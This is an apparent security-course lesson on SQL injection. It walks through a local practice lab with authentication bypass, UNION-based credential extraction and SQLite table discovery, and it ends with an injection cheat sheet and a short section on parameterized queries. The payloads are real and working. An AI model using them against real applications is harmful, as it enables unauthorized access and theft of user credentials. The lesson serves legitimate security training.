The Hacker's Arsenal

Lesson 5: SQL Injection

Talking to Databases

XSS attacks users. SQL Injection attacks the application itself.

Most web applications store data in databases — usernames, passwords, credit cards, personal information. SQL Injection lets you bypass security and talk directly to that database.

One simple query can dump the entire user table. Let's learn how.

What is SQL?

SQL (Structured Query Language) is how applications talk to databases.

Selecting data:

SELECT * FROM users WHERE username = 'admin';

Inserting data:

INSERT INTO users (username, password) VALUES ('john', 'secret123');

Updating data:

UPDATE users SET password = 'newpass' WHERE username = 'john';

When a web application doesn't properly separate user input from SQL commands, you can inject your own SQL.

How SQL Injection Works

Imagine a login form. The application might construct a query like:

SELECT * FROM users WHERE username = '[INPUT]' AND password = '[INPUT]';

If you enter:

  • Username: admin
  • Password: secret

The query becomes:

SELECT * FROM users WHERE username = 'admin' AND password = 'secret';

But what if you enter:

  • Username: admin'--
  • Password: anything

The query becomes:

SELECT * FROM users WHERE username = 'admin'--' AND password = 'anything';

The -- is a SQL comment. Everything after it is ignored:

SELECT * FROM users WHERE username = 'admin'

You just logged in as admin without knowing the password.

Building the SQL Injection Lab

Download and run the SQL injection practice lab:

SQL Injection Lab

Practice SQL injection against a SQLite database - login bypass, UNION attacks, data extraction

Run with: python3 sqli_lab.py

The lab includes 4 vulnerable endpoints:

  1. Login - Authentication bypass
  2. Product Search - Data extraction via UNION
  3. User Lookup - UNION-based attacks with 4 columns
  4. Category Filter - Error-based injection

Hidden tables to discover: users, products, secrets

Attack 1: Authentication Bypass

The Vulnerability

The login query:

SELECT * FROM users WHERE username = '[INPUT]' AND password = '[INPUT]'

The Exploit

Username: admin'--

Password: anything

The query becomes:

SELECT * FROM users WHERE username = 'admin'--' AND password = 'anything'

Everything after -- is a comment. The password check is gone.

Try It

  1. Go to the Login section
  2. Enter admin'-- as username
  3. Enter anything as password
  4. You're logged in as admin!

Alternative Payloads

' OR '1'='1'--
' OR 1=1--
admin'/*
' OR ''='

Attack 2: UNION-Based Data Extraction

The Concept

UNION combines results from multiple SELECT statements:

SELECT name FROM products
UNION
SELECT username FROM users

This returns product names AND usernames in the same result.

Finding the Column Count

First, determine how many columns the original query returns:

1 ORDER BY 1--    (works)
1 ORDER BY 2--    (works)
1 ORDER BY 3--    (works)
1 ORDER BY 4--    (works)
1 ORDER BY 5--    (error!)

The original query has 4 columns.

Extracting Data

Now inject a UNION query with 4 columns:

In the User Lookup field, enter:

1 UNION SELECT 1,username,password,role FROM users--

This returns the original user AND all usernames/passwords from the users table.

Try It

  1. Go to User Lookup
  2. Enter: 1 UNION SELECT 1,username,password,email FROM users--
  3. See all user credentials!

Attack 3: Discovering Tables

SQLite Table Discovery

SQLite stores metadata in sqlite_master:

1 UNION SELECT 1,name,sql,type FROM sqlite_master--

This shows all tables and their structure.

Try It

Enter in User Lookup:

1 UNION SELECT 1,name,sql,type FROM sqlite_master WHERE type='table'--

You'll see:

  • users table
  • products table
  • secrets table (hidden!)

Attack 4: Extracting the Secret

Now that you know there's a secrets table, extract it:

1 UNION SELECT 1,secret_key,secret_value,1 FROM secrets--

You found the flag!

Prevention (For Developers)

Parameterized Queries

Vulnerable:

query = f"SELECT * FROM users WHERE id = {user_input}"

Secure:

cursor.execute("SELECT * FROM users WHERE id = ?", (user_input,))

The database treats user_input as data, not code.

ORM Usage

Frameworks like SQLAlchemy, Django ORM, and ActiveRecord handle parameterization automatically:

User.query.filter_by(id=user_input).first()

SQL Injection Cheat Sheet

Authentication bypass:

' OR '1'='1
' OR 1=1--
admin'--
' OR ''='

UNION attacks:

' UNION SELECT null--
' UNION SELECT null,null--
' UNION SELECT 1,2,3--
' UNION SELECT username,password,1 FROM users--

Column count:

ORDER BY 1--
ORDER BY 2--
ORDER BY 3--

Comments:

--      (MySQL, SQLite, PostgreSQL)
#       (MySQL)
/**/    (All databases)

Lab Challenges

  1. Login as admin without the password
  2. Extract all usernames and passwords from the users table
  3. Find all tables in the database
  4. Extract the FLAG from the secrets table
  5. Extract data using error messages in the Category section

What's Next?

You've learned to bypass authentication and extract data. But what about when you need users to do the attacking for you?

In Lesson 6: Authentication Attacks, we'll explore password attacks, brute forcing, and credential stuffing — the techniques that lead to actual account compromises.